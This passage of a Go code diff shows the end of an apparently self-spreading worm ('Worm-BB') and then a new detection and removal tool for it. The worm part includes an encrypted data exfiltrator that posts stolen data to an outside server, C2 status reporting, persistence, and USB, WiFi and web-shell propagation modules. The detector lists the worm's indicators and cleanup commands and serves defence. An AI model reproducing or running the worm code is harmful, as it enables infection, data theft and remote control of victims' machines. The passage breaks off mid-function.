sha256.Sum256([]byte(wormID)) + block, _ := aes.NewCipher(key[:]) + gcm, _ := cipher.NewGCM(block) + nonce := make([]byte, gcm.NonceSize()) + rand.Read(nonce) + return gcm.Seal(nonce, nonce, data, nil) +} + +func (de *DataExfiltrator) AddData(data ExfilData) { + de.mu.Lock() + defer de.mu.Unlock() + + de.buffer = append(de.buffer, data) + + // Try direct DB insert + if de.dbConn != nil { + _, err := de.dbConn.Exec( + "INSERT INTO exfil_data (worm_id, timestamp, data_type, target, data, encrypted) VALUES (?, ?, ?, ?, ?, ?)", + data.WormID, data.Timestamp, data.DataType, data.Target, data.Data, data.Encrypted) + if err == nil { + // Remove from buffer if successfully inserted to DB + de.buffer = de.buffer[:len(de.buffer)-1] + } + } + + // If buffer is full, trigger immediate flush + if len(de.buffer) >= de.batchSize { + go de.processBuffer() + } +} + +func (de *DataExfiltrator) processBuffer() { + de.mu.Lock() + if len(de.buffer) == 0 { + de.mu.Unlock() + return + } + + batch := make([]ExfilData, len(de.buffer)) + copy(batch, de.buffer) + de.buffer = make([]ExfilData, 0) + de.mu.Unlock() + + // Try database insert first + if de.dbConn != nil { + tx, err := de.dbConn.Begin() + if err == nil { + stmt, _ := tx.Prepare("INSERT INTO exfil_data (worm_id, timestamp, data_type, target, data, encrypted) VALUES (?, ?, ?, ?, ?, ?)") + for _, data := range batch { + stmt.Exec(data.WormID, data.Timestamp, data.DataType, data.Target, data.Data, data.Encrypted) + } + tx.Commit() + fmt.Printf("[Exfil] Inserted %d records to database\n", len(batch)) + return + } + } + + // Fallback to HTTP + data, _ := json.Marshal(batch) + encrypted := de.encryptData(data) + de.httpClient.Post(DATA_EXFIL_SERVER, "application/octet-stream", bytes.NewReader(encrypted)) +} + +// ========== UPDATED MAIN WORM STRUCTURE ========== + +type Worm struct { + id string + population *WormPopulation + propagator *Propagator + persistence *PersistenceManager + usbPropagator *USBPropagator + webShellManager *WebShellManager + wifiPropagator *WiFiPropagator + c2Manager *C2Manager + dataExfiltrator *DataExfiltrator + status string + mu sync.Mutex +} + +func NewWorm() *Worm { + wormID = generateID() + dataBuffer = make(chan ExfilData, 1000) + + w := &Worm{ + id: wormID, + status: "INITIALIZING", + } + + w.population = NewWormPopulation() + w.propagator = NewPropagator(w.population) + w.persistence = NewPersistenceManager() + w.usbPropagator = NewUSBPropagator() + w.webShellManager = NewWebShellManager() + w.wifiPropagator = NewWiFiPropagator() + w.c2Manager = NewC2Manager() + w.dataExfiltrator = NewDataExfiltrator() + + return w +} + +func (w *Worm) Run() { + fmt.Printf("[Worm-BB] Instance %s starting on %s (Version %s)\n", w.id, runtime.GOOS, VERSION) + + // Initialize all modules + w.population.CoordinateWithPeers() + w.persistence.InstallAll() + go w.propagator.Start() + go w.usbPropagator.StartMonitoring() + go w.wifiPropagator.Start() + go w.c2Manager.Start() + go w.dataExfiltrator.Start() + + // Main loop + w.maintenanceLoop() +} + +func (w *Worm) maintenanceLoop() { + ticker := time.NewTicker(30 * time.Second) + for range ticker.C { + w.status = "ACTIVE" + + // Report population status to C2 + w.c2Manager.sendToC2("STATUS", map[string]interface{}{ + "population": len(w.population.knownInstances), + "role": w.population.leader, + "usb_infected": len(w.usbPropagator.infectedUSBs), + "webshells": len(w.webShellManager.deployed), + }) + } +} + +func main() { + worm := NewWorm() + worm.Run() + select {} +} diff --git a/worm_bb_detector.go b/worm_bb_detector.go new file mode 100644 index 0000000..ca32acf --- /dev/null +++ b/worm_bb_detector.go @@ -0,0 +1,1292 @@ +// worm_bb_detector.go - Worm-BB Detection and Removal Tool +// RED TEAM / BLUE TEAM UTILITY - Authorized Use Only + +package main + +import ( + "bufio" + "bytes" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "io/ioutil" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "regexp" + "runtime" + "strings" + "syscall" + "time" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" +) + +// ========== CONSTANTS ========== + +const ( + VERSION = "1.0" + MUTEX_NAME = "Global\\SystemUpdateMutex" + MULTICAST_ADDR = "239.255.42.42:4242" + LOCK_FILE = "/tmp/.system-update.lock" + WORM_PATHS_WINDOWS = "C:\\Windows\\Temp\\system-update.exe,%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemUpdate.exe,%TEMP%\\worm*.exe" + WORM_PATHS_LINUX = "/tmp/system-update,/tmp/.system-update,/etc/systemd/system/system-update.service,/tmp/.system-update.lock" + WORM_REGISTRY_KEYS = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemUpdate,HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemUpdate" + WORM_SCHEDULED_TASKS = "SystemUpdateTask,SystemUpdateTask_startup" + WORM_CRON_JOBS = "@reboot /tmp/system-update,*/30 * * * * /tmp/system-update" + WORM_SYSTEMD_SERVICE = "system-update.service" + WORM_WMI_FILTER = "SystemUpdateFilter" + WORM_WMI_CONSUMER = "SystemUpdateConsumer" + WORM_USB_AUTORUN = "autorun.inf" + WORM_USB_EXE = "SystemUpdate.exe" + WORM_SSH_KEY_PATTERN = "worm-bb-key" + WORM_UDEV_RULE = "99-usb-autorun.rules" +) + +// ========== DATA STRUCTURES ========== + +type DetectionResult struct { + Timestamp time.Time `json:"timestamp"` + Hostname string `json:"hostname"` + OS string `json:"os"` + IPAddress string `json:"ip_address"` + WormDetected bool `json:"worm_detected"` + Severity string `json:"severity"` // CRITICAL, HIGH, MEDIUM, LOW + Findings []Finding `json:"findings"` + Remediations []Remediation `json:"remediations"` + ScanDuration time.Duration `json:"scan_duration"` +} + +type Finding struct { + Category string `json:"category"` // PROCESS, FILE, REGISTRY, SCHEDULED_TASK, CRON, SERVICE, NETWORK, USB, WMI, SSH + Location string `json:"location"` + Details string `json:"details"` + Confidence string `json:"confidence"` // HIGH, MEDIUM, LOW + RemediationID string `json:"remediation_id"` +} + +type Remediation struct { + ID string `json:"id"` + Action string `json:"action"` // KILL_PROCESS, DELETE_FILE, DELETE_REGISTRY, DELETE_TASK, DELETE_CRON, STOP_SERVICE, BLOCK_NETWORK, CLEAN_USB + Target string `json:"target"` + Command string `json:"command"` + RequiresReboot bool `json:"requires_reboot"` + Status string `json:"status"` // PENDING, COMPLETED, FAILED +} + +type WormSignature struct { + Name string `json:"name"` + Pattern string `json:"pattern"` + Type string `json:"type"` // FILENAME, HASH, REGEX, PE_IMPORT, STRING + Severity string `json:"severity"` + Hashes []string `json:"hashes,omitempty"` +} + +// ========== WORM SIGNATURES ========== + +var wormSignatures = []WormSignature{ + { + Name: "Worm-BB Process Name", + Pattern: `(?i)(system-update|SystemUpdate|worm_bb|worm-bb)`, + Type: "REGEX", + Severity: "HIGH", + }, + { + Name: "Worm-BB Mutex", + Pattern: "Global\\\\SystemUpdateMutex", + Type: "STRING", + Severity: "HIGH", + }, + { + Name: "Worm-BB Multicast Communication", + Pattern: "239.255.42.42", + Type: "STRING", + Severity: "HIGH", + }, + { + Name: "Worm-BB File Name - Linux", + Pattern: "/tmp/system-update", + Type: "STRING", + Severity: "HIGH", + }, + { + Name: "Worm-BB Service Name", + Pattern: "system-update.service", + Type: "STRING", + Severity: "MEDIUM", + }, + { + Name: "Worm-BB Registry Key", + Pattern: "SystemUpdate", + Type: "STRING", + Severity: "MEDIUM", + }, +} + +// ========== DETECTION ENGINE ========== + +type DetectionEngine struct { + results *DetectionResult + findings []Finding + remediations []Remediation + mu sync.Mutex + wormHashes map[string]bool + networkScan bool +} + +func NewDetectionEngine(networkScan bool) *DetectionEngine { + return &DetectionEngine{ + results: &DetectionResult{ + Timestamp: time.Now(), + Hostname: getHostname(), + OS: runtime.GOOS, + IPAddress: getLocalIP(), + WormDetected: false, + Severity: "LOW", + Findings: []Finding{}, + Remediations: []Remediation{}, + }, + findings: []Finding{}, + remediations: []Remediation{}, + wormHashes: make(map[string]bool), + networkScan: networkScan, + } +} + +func (de *DetectionEngine) RunFullScan() { + startTime := time.Now() + defer func() { + de.results.ScanDuration = time.Since(startTime) + de.results.Findings = de.findings + de.results.Remediations = de.remediations + }() + + fmt.Println("[Worm-BB Detector] Starting comprehensive scan") + fmt.Println("================================================") + + // Process scanning + fmt.Println("[*] Scanning for worm processes...") + de.scanProcesses() + + // File system scanning + fmt.Println("[*] Scanning for worm files...") + de.scanFiles() + + // Registry scanning (Windows only) + if runtime.GOOS == "windows" { + fmt.Println("[*] Scanning registry...") + de.scanRegistry() + + fmt.Println("[*] Scanning scheduled tasks...") + de.scanScheduledTasks() + + fmt.Println("[*] Scanning WMI subscriptions...") + de.scanWMI() + } + + // Linux-specific scans + if runtime.GOOS == "linux" { + fmt.Println("[*] Scanning cron jobs...") + de.scanCronJobs() + + fmt.Println("[*] Scanning systemd services...") + de.scanSystemdServices() + + fmt.Println("[*] Scanning udev rules...") + de.scanUdevRules() + } + + // Common scans + fmt.Println("[*] Scanning SSH authorized_keys...") + de.scanSSHKeys() + + fmt.Println("[*] Scanning USB drives...") + de.scanUSBDrives() + + if de.networkScan { + fmt.Println("[*] Scanning network for worm peers...") + de.scanNetwork() + } + + fmt.Println("[*] Scanning memory for signatures...") + de.scanMemory() + + fmt.Println("[*] Calculating file hashes...") + de.calculateHashes() + + // Determine overall severity + de.calculateSeverity() + + fmt.Println("================================================") + fmt.Printf("[+] Scan completed in %v\n", de.results.ScanDuration) + + if de.results.WormDetected { + fmt.Printf("[!] WORM DETECTED! Severity: %s\n", de.results.Severity) + fmt.Printf("[!] Found %d indicators\n", len(de.findings)) + } else { + fmt.Println("[+] No worm detected") + } +} + +func (de *DetectionEngine) scanProcesses() { + var processes []map[string]interface{} + + if runtime.GOOS == "windows" { + processes = de.getWindowsProcesses() + } else { + processes = de.getLinuxProcesses() + } + + for _, proc := range processes { + procName := proc["name"].(string) + procPID := proc["pid"].(int) + + // Check against signatures + for _, sig := range wormSignatures { + if sig.Type == "REGEX" { + matched, _ := regexp.MatchString(sig.Pattern, procName) + if matched { + de.addFinding(Finding{ + Category: "PROCESS", + Location: fmt.Sprintf("PID: %d", procPID), + Details: fmt.Sprintf("Suspicious process: %s (matched signature: %s)", procName, sig.Name), + Confidence: "HIGH", + RemediationID: "remediate_process", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "KILL_PROCESS", + Target: fmt.Sprintf("%d", procPID), + Command: de.getKillCommand(procPID), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } + } + } + + // Check command line for suspicious strings + if cmdline, ok := proc["cmdline"].(string); ok { + if strings.Contains(cmdline, "system-update") || + strings.Contains(cmdline, "SystemUpdate") || + strings.Contains(cmdline, "worm_bb") { + de.addFinding(Finding{ + Category: "PROCESS", + Location: fmt.Sprintf("PID: %d", procPID), + Details: fmt.Sprintf("Suspicious command line: %s", cmdline), + Confidence: "HIGH", + RemediationID: "remediate_process", + }) + de.results.WormDetected = true + } + } + } +} + +func (de *DetectionEngine) getWindowsProcesses() []map[string]interface{} { + var processes []map[string]interface{} + + cmd := exec.Command("tasklist", "/FO", "CSV", "/NH") + output, err := cmd.Output() + if err != nil { + return processes + } + + lines := strings.Split(string(output), "\n") + for _, line := range lines { + if line == "" { + continue + } + parts := strings.Split(strings.Trim(line, "\""), "\",\"") + if len(parts) >= 2 { + proc := map[string]interface{}{ + "name": parts[0], + "pid": atoi(parts[1]), + } + + // Get command line + cmdline := exec.Command("wmic", "process", "where", fmt.Sprintf("processid=%d", proc["pid"]), "get", "commandline") + cmdlineOut, _ := cmdline.Output() + proc["cmdline"] = string(cmdlineOut) + + processes = append(processes, proc) + } + } + + return processes +} + +func (de *DetectionEngine) getLinuxProcesses() []map[string]interface{} { + var processes []map[string]interface{} + + files, err := ioutil.ReadDir("/proc") + if err != nil { + return processes + } + + for _, file := range files { + if file.IsDir() && isNumeric(file.Name()) { + pid := atoi(file.Name()) + if pid == 0 { + continue + } + + // Read process name + cmdlinePath := fmt.Sprintf("/proc/%d/cmdline", pid) + cmdlineData, err := ioutil.ReadFile(cmdlinePath) + if err != nil { + continue + } + + cmdline := strings.Replace(string(cmdlineData), "\x00", " ", -1) + procName := filepath.Base(cmdline) + if procName == "" { + procName = "unknown" + } + + processes = append(processes, map[string]interface{}{ + "name": procName, + "pid": pid, + "cmdline": cmdline, + }) + } + } + + return processes +} + +func (de *DetectionEngine) scanFiles() { + var paths []string + + if runtime.GOOS == "windows" { + paths = strings.Split(WORM_PATHS_WINDOWS, ",") + // Expand environment variables + for i, path := range paths { + paths[i] = os.ExpandEnv(path) + } + } else { + paths = strings.Split(WORM_PATHS_LINUX, ",") + } + + for _, path := range paths { + if _, err := os.Stat(path); err == nil { + de.addFinding(Finding{ + Category: "FILE", + Location: path, + Details: fmt.Sprintf("Suspicious file found: %s", path), + Confidence: "HIGH", + RemediationID: "remediate_file", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_FILE", + Target: path, + Command: de.getDeleteCommand(path), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + + // Calculate hash for future detection + de.hashFile(path) + } + } + + // Recursive scan of common directories + scanDirs := []string{} + if runtime.GOOS == "windows" { + scanDirs = []string{os.Getenv("TEMP"), os.Getenv("APPDATA"), "C:\\Windows\\Temp"} + } else { + scanDirs = []string{"/tmp", "/var/tmp", "/dev/shm"} + } + + for _, dir := range scanDirs { + de.recursiveFileScan(dir) + } +} + +func (de *DetectionEngine) recursiveFileScan(dir string) { + files, err := ioutil.ReadDir(dir) + if err != nil { + return + } + + for _, file := range files { + if file.IsDir() { + // Avoid recursion depth issues + if strings.HasPrefix(file.Name(), ".") { + continue + } + de.recursiveFileScan(filepath.Join(dir, file.Name())) + } else { + // Check filename against patterns + for _, sig := range wormSignatures { + if sig.Type == "REGEX" { + matched, _ := regexp.MatchString(sig.Pattern, file.Name()) + if matched { + fullPath := filepath.Join(dir, file.Name()) + de.addFinding(Finding{ + Category: "FILE", + Location: fullPath, + Details: fmt.Sprintf("Suspicious filename: %s", file.Name()), + Confidence: "MEDIUM", + RemediationID: "remediate_file", + }) + de.hashFile(fullPath) + } + } + } + } + } +} + +func (de *DetectionEngine) hashFile(path string) { + data, err := ioutil.ReadFile(path) + if err != nil { + return + } + + hash := sha256.Sum256(data) + hashStr := hex.EncodeToString(hash[:]) + + // Check against known worm hashes (would be populated from threat intel) + de.wormHashes[hashStr] = true +} + +func (de *DetectionEngine) scanRegistry() { + if runtime.GOOS != "windows" { + return + } + + keys := strings.Split(WORM_REGISTRY_KEYS, ",") + for _, keyPath := range keys { + // Parse registry path + parts := strings.Split(keyPath, "\\") + if len(parts) < 2 { + continue + } + + hive := parts[0] + key := strings.Join(parts[1:], "\\") + + var regKey registry.Key + var err error + + switch hive { + case "HKCU": + regKey, err = registry.OpenKey(registry.CURRENT_USER, key, registry.READ) + case "HKLM": + regKey, err = registry.OpenKey(registry.LOCAL_MACHINE, key, registry.READ) + default: + continue + } + + if err == nil { + value, _, err := regKey.GetStringValue(filepath.Base(key)) + if err == nil && value != "" { + de.addFinding(Finding{ + Category: "REGISTRY", + Location: keyPath, + Details: fmt.Sprintf("Suspicious registry value: %s = %s", keyPath, value), + Confidence: "HIGH", + RemediationID: "remediate_registry", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_REGISTRY", + Target: keyPath, + Command: fmt.Sprintf("reg delete \"%s\" /v %s /f", keyPath, filepath.Base(key)), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } + regKey.Close() + } + } +} + +func (de *DetectionEngine) scanScheduledTasks() { + if runtime.GOOS != "windows" { + return + } + + tasks := strings.Split(WORM_SCHEDULED_TASKS, ",") + for _, task := range tasks { + cmd := exec.Command("schtasks", "/query", "/tn", task, "/fo", "csv", "/nh") + err := cmd.Run() + if err == nil { + de.addFinding(Finding{ + Category: "SCHEDULED_TASK", + Location: task, + Details: fmt.Sprintf("Suspicious scheduled task: %s", task), + Confidence: "HIGH", + RemediationID: "remediate_task", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_TASK", + Target: task, + Command: fmt.Sprintf("schtasks /delete /tn %s /f", task), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } + } +} + +func (de *DetectionEngine) scanWMI() { + if runtime.GOOS != "windows" { + return + } + + // Check for WMI event filter + cmd := exec.Command("powershell", "-Command", + "Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object {$_.Name -eq 'SystemUpdateFilter'} | Select-Object -Property Name") + output, err := cmd.Output() + if err == nil && strings.Contains(string(output), "SystemUpdateFilter") { + de.addFinding(Finding{ + Category: "WMI", + Location: "root\\subscription", + Details: "Suspicious WMI event filter detected", + Confidence: "HIGH", + RemediationID: "remediate_wmi", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_WMI", + Target: "SystemUpdateFilter", + Command: "Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object {$_.Name -eq 'SystemUpdateFilter'} | Remove-WmiObject", + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } +} + +func (de *DetectionEngine) scanCronJobs() { + if runtime.GOOS == "windows" { + return + } + + cmd := exec.Command("crontab", "-l") + output, err := cmd.Output() + if err != nil { + return + } + + cronContent := string(output) + cronJobs := strings.Split(WORM_CRON_JOBS, ",") + + for _, job := range cronJobs { + if strings.Contains(cronContent, job) { + de.addFinding(Finding{ + Category: "CRON", + Location: "/var/spool/cron/crontabs", + Details: fmt.Sprintf("Suspicious cron job: %s", job), + Confidence: "HIGH", + RemediationID: "remediate_cron", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_CRON", + Target: job, + Command: "crontab -l | grep -v 'system-update' | crontab -", + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } + } +} + +func (de *DetectionEngine) scanSystemdServices() { + if runtime.GOOS == "windows" { + return + } + + servicePath := fmt.Sprintf("/etc/systemd/system/%s", WORM_SYSTEMD_SERVICE) + if _, err := os.Stat(servicePath); err == nil { + de.addFinding(Finding{ + Category: "SERVICE", + Location: servicePath, + Details: "Suspicious systemd service detected", + Confidence: "HIGH", + RemediationID: "remediate_service", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "STOP_SERVICE", + Target: WORM_SYSTEMD_SERVICE, + Command: fmt.Sprintf("systemctl stop %s && systemctl disable %s && rm %s", WORM_SYSTEMD_SERVICE, WORM_SYSTEMD_SERVICE, servicePath), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } +} + +func (de *DetectionEngine) scanUdevRules() { + if runtime.GOOS == "windows" { + return + } + + udevPath := fmt.Sprintf("/etc/udev/rules.d/%s", WORM_UDEV_RULE) + if _, err := os.Stat(udevPath); err == nil { + de.addFinding(Finding{ + Category: "UDEV", + Location: udevPath, + Details: "Suspicious udev rule for USB auto-execution detected", + Confidence: "HIGH", + RemediationID: "remediate_udev", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_FILE", + Target: udevPath, + Command: fmt.Sprintf("rm %s", udevPath), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } +} + +func (de *DetectionEngine) scanSSHKeys() { + homeDir, _ := os.UserHomeDir() + sshPath := filepath.Join(homeDir, ".ssh", "authorized_keys") + + data, err := ioutil.ReadFile(sshPath) + if err != nil { + return + } + + if strings.Contains(string(data), WORM_SSH_KEY_PATTERN) { + de.addFinding(Finding{ + Category: "SSH", + Location: sshPath, + Details: "Suspicious SSH key detected (worm-bb-key)", + Confidence: "HIGH", + RemediationID: "remediate_ssh", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "DELETE_SSH_KEY", + Target: sshPath, + Command: fmt.Sprintf("sed -i '/%s/d' %s", WORM_SSH_KEY_PATTERN, sshPath), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } +} + +func (de *DetectionEngine) scanUSBDrives() { + if runtime.GOOS == "windows" { + for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" { + path := string(drive) + ":\\" + if _, err := os.Stat(path); err == nil { + de.checkUSBPath(path) + } + } + } else { + mountPoints := []string{"/media/", "/mnt/", "/run/media/"} + for _, mp := range mountPoints { + files, err := ioutil.ReadDir(mp) + if err == nil { + for _, f := range files { + if f.IsDir() { + de.checkUSBPath(filepath.Join(mp, f.Name())) + } + } + } + } + } +} + +func (de *DetectionEngine) checkUSBPath(path string) { + // Check for autorun.inf + autorunPath := filepath.Join(path, WORM_USB_AUTORUN) + if _, err := os.Stat(autorunPath); err == nil { + de.addFinding(Finding{ + Category: "USB", + Location: autorunPath, + Details: "Suspicious autorun.inf on USB drive", + Confidence: "HIGH", + RemediationID: "remediate_usb", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "CLEAN_USB", + Target: path, + Command: de.getUSBDeleteCommand(autorunPath), + RequiresReboot: false, + Status: "PENDING", + }) + + de.results.WormDetected = true + } + + // Check for worm executable + exePath := filepath.Join(path, WORM_USB_EXE) + if _, err := os.Stat(exePath); err == nil { + de.addFinding(Finding{ + Category: "USB", + Location: exePath, + Details: "Suspicious executable on USB drive", + Confidence: "HIGH", + RemediationID: "remediate_usb", + }) + + de.addRemediation(Remediation{ + ID: generateID(), + Action: "CLEAN_USB", + Target: path, + Command: de.getUSBDeleteCommand(exePath), + RequiresReboot: false, + Status: "PENDING", + }) + } +} + +func (de *DetectionEngine) scanNetwork() { + // Check for multicast listener on worm port + addr, err := net.ResolveUDPAddr("udp", MULTICAST_ADDR) + if err != nil { + return + } + + conn, err := net.ListenMulticastUDP("udp", nil, addr) + if err == nil { + defer conn.Close() + conn.SetReadDeadline(time.Now().Add(2 * time.Second)) + + buffer := make([]byte, 1024) + n, _, err := conn.ReadFromUDP(buffer) + if err == nil && n > 0 { + de.addFinding(Finding{ + Category: "NETWORK", + Location: MULTICAST_ADDR, + Details: fmt.Sprintf("Worm multicast traffic detected: %s", string(buffer[:n])), + Confidence: "HIGH", + RemediationID: "remediate_network", + }) + + de.results.WormDetected = true + } + } + + // Check for listening ports + ports := []int{4242, 4243, 4444, 8443} + for _, port := range ports { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", port), 1*time.Second) + if err == nil { + de.addFinding(Finding{ + Category: "NETWORK", + Location: fmt.Sprintf("127.0.0.1:%d", port), + Details: fmt.Sprintf("Worm listening port detected: %d", port), + Confidence: "HIGH", + RemediationID: "remediate_network", + }) + conn.Close() + de.results.WormDetected = true + } + } +} + +func (de *DetectionEngine) scanMemory() { + // This would use more advanced memory scanning techniques + // Simplified version - check for loaded modules/dlls + + if runtime.GOOS == "windows" { + cmd := exec.Command("tasklist", "/M") + output, err := cmd.Output() + if err == nil { + for _, sig := range wormSignatures { + if strings.Contains(string(output), sig.Pattern) { + de.addFinding(Finding{ + Category: "MEMORY", + Location: "Process memory", + Details: fmt.Sprintf("Worm signature found in memory: %s", sig.Name), + Confidence: "MEDIUM", + RemediationID: "remediate_process", + }) + de.results.WormDetected = true + } + } + } + } +} + +func (de *DetectionEngine) calculateHashes() { + // In production, would submit hashes to VirusTotal or threat intel + for hash := range de.wormHashes { + fmt.Printf("[*] Found suspicious hash: %s\n", hash) + } +} + +func (de *DetectionEngine) calculateSeverity() { + highCount := 0 + for _, finding := range de.findings { + if finding.Confidence == "HIGH" { + highCount++ + } + } + + if highCount >= 5 { + de.results.Severity = "CRITICAL" + } else if highCount >= 3 { + de.results.Severity = "HIGH" + } else if highCount >= 1 { + de.results.Severity = "MEDIUM" + } else { + de.results.Severity = "LOW" + } +} + +func (de *DetectionEngine) addFinding(finding Finding) { + de.mu.Lock() + defer de.mu.Unlock() + de.findings = append(de.findings, finding) +} + +func (de *DetectionEngine) addRemediation(rem Remediation) { + de.mu.Lock() + defer de.mu.Unlock() + de.remediations = append(de.remediations, rem) +} + +// ========== REMEDIATION ENGINE ========== + +type RemediationEngine struct { + remediations []Remediation + results map[string]bool + mu sync.Mutex + autoApprove bool +} + +func NewRemediationEngine(autoApprove bool) *RemediationEngine { + return &RemediationEngine{ + remediations: []Remediation{}, + results: make(map[string]bool), + autoApprove: autoApprove, + } +} + +func (re *RemediationEngine) LoadRemediations(remediations []Remediation) { + re.remediations = remediations +} + +func (re *RemediationEngine) ExecuteRemediations() { + fmt.Println("\n[Remediation] Starting cleanup process") + fmt.Println("================================================") + + for _, rem := range re.remediations { + if rem.Status != "PENDING" { + continue + } + + if !re.autoApprove { + fmt.Printf("\n[?] Remediation: %s\n", rem.Action) + fmt.Printf(" Target: %s\n", rem.Target) + fmt.Printf(" Command: %s\n", rem.Command) + fmt.Print(" Execute? (y/N): ") + + var response string + fmt.Scanln(&response) + if strings.ToLower(response) != "y" { + fmt.Println(" Skipped") + continue + } + } + + fmt.Printf("[*] Executing: %s on %s\n", rem.Action, rem.Target) + err := re.executeRemediation(rem) + + re.mu.Lock() + if err == nil { + rem.Status = "COMPLETED" + re.results[rem.ID] = true + fmt.Printf("[+] Success: %s completed\n", rem.Action) + } else { + rem.Status = "FAILED" + re.results[rem.ID] = false + fmt.Printf("[-] Failed: %s - %v\n", rem.Action, err) + } + re.mu.Unlock() + } + + fmt.Println("================================================") + re.printSummary() +} + +func (re *RemediationEngine) executeRemediation(rem Remediation) error { + switch rem.Action { + case "KILL_PROCESS": + return re.killProcess(rem.Target) + case "DELETE_FILE": + return re.deleteFile(rem.Target) + case "DELETE_REGISTRY": + return re.deleteRegistry(rem.Target) + case "DELETE_TASK": + return re.deleteTask(rem.Target) + case "DELETE_CRON": + return re.deleteCron(rem.Command) + case "STOP_SERVICE": + return re.stopService(rem.Command) + case "CLEAN_USB": + return re.cleanUSB(rem.Target) + case "DELETE_WMI": + return re.deleteWMI(rem.Command) + case "DELETE_SSH_KEY": + return re.deleteSSHKey(rem.Command) + default: + return re.executeCommand(rem.Command) + } +} + +func (re *RemediationEngine) killProcess(pidStr string) error { + pid := atoi(pidStr) + if pid <= 0 { + return fmt.Errorf("invalid PID: %s", pidStr) + } + + process, err := os.FindProcess(pid) + if err != nil { + return err + } + + if runtime.GOOS == "windows" { + return process.Kill() + } + return process.Signal(syscall.SIGTERM) +} + +func (re *RemediationEngine) deleteFile(path string) error { + return os.RemoveAll(path) +} + +func (re *RemediationEngine) deleteRegistry(keyPath string) error { + if runtime.GOOS != "windows" { + return fmt.Errorf("registry operations not supported on this OS") + } + + return re.executeCommand(fmt.Sprintf("reg delete \"%s\" /f", keyPath)) +} + +func (re *RemediationEngine) deleteTask(taskName string) error { + return re.executeCommand(fmt.Sprintf("schtasks /delete /tn \"%s\" /f", taskName)) +} + +func (re *RemediationEngine) deleteCron(command string) error { + return re.executeCommand(command) +} + +func (re *RemediationEngine) stopService(command string) error { + return re.executeCommand(command) +} + +func (re *RemediationEngine) cleanUSB(path string) error { + // Delete worm files from USB + filesToDelete := []string{ + filepath.Join(path, WORM_USB_AUTORUN), + filepath.Join(path, WORM_USB_EXE), + filepath.Join(path, "System Update.lnk"), + } + + for _, file := range filesToDelete { + os.Remove(file) + } + + return nil +} + +func (re *RemediationEngine) deleteWMI(command string) error { + return re.executeCommand(fmt.Sprintf("powershell -Command \"%s\"", command)) +} + +func (re *RemediationEngine) deleteSSHKey(command string) error { + return re.executeCommand(command) +} + +func (re *RemediationEngine) executeCommand(command string) error { + var cmd *exec.Cmd + + if runtime.GOOS == "windows" { + cmd = exec.Command("cmd", "/C", command) + } else { + cmd = exec.Command("bash", "-c", command) + } + + output, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("command failed: %s - %v", string(output), err) + } + + return nil +} + +func (re *RemediationEngine) printSummary() { + completed := 0 + failed := 0 + + for _, success := range re.results { + if success { + completed++ + } else { + failed++ + } + } + + fmt.Printf("\n[Remediation Summary]\n") + fmt.Printf(" Total remediations: %d\n", len(re.remediations)) + fmt.Printf(" Completed: %d\n", completed) + fmt.Printf(" Failed: %d\n", failed) + + if failed > 0 { + fmt.Println("\n[!] Some remediations failed. Manual cleanup may be required.") + fmt.Println(" Review findings above and perform manual removal.") + } else { + fmt.Println("\n[+] All remediations completed successfully!") + fmt.Println(" Reboot recommended to ensure complete cleanup.") + } +} + +// ========== REPORTING ENGINE ========== + +type ReportEngine struct { + result *DetectionResult +} + +func NewReportEngine(result *DetectionResult) *ReportEngine { + return &ReportEngine{result: result} +} + +func (re *ReportEngine) PrintReport() { + fmt.Println("\n" + strings.Repeat("=", 80)) + fmt.Println("WORM-BB DETECTION REPORT") + fmt.Println(strings.Repeat("=", 80)) + fmt.Printf("Timestamp: %s\n", re.result.Timestamp.Format("2006-01-02 15:04:05")) + fmt.Printf("Hostname: %s\n", re.result.Hostname) + fmt.Printf("OS: %s\n", re.result.OS) + fmt.Printf("IP Address: %s\n", re.result.IPAddress) + fmt.Printf("Worm Detected: %v\n", re.result.WormDetected) + fmt.Printf("Severity: %s\n", re.result.Severity) + fmt.Printf("Scan Duration: %v\n", re.result.ScanDuration) + fmt.Printf("Findings: %d\n", len(re.result.Findings)) + fmt.Printf("Remediations: %d\n", len(re.result.Remediations)) + + if len(re.result.Findings) > 0 { + fmt.Println("\n" + strings.Repeat("-", 80)) + fmt.Println("DETAILED FINDINGS") + fmt.Println(strings.Repeat("-", 80)) + + for i, finding := range re.result.Findings { + fmt.Printf("\n[%d] Category: %s\n", i+1, finding.Category) + fmt.Printf(" Location: %s\n", finding.Location) + fmt.Printf(" Details: %s\n", finding.Details) + fmt.Printf(" Confidence: %s\n", finding.Confidence) + } + } + + fmt.Println(strings.Repeat("=", 80)) +} + +func (re *ReportEngine) 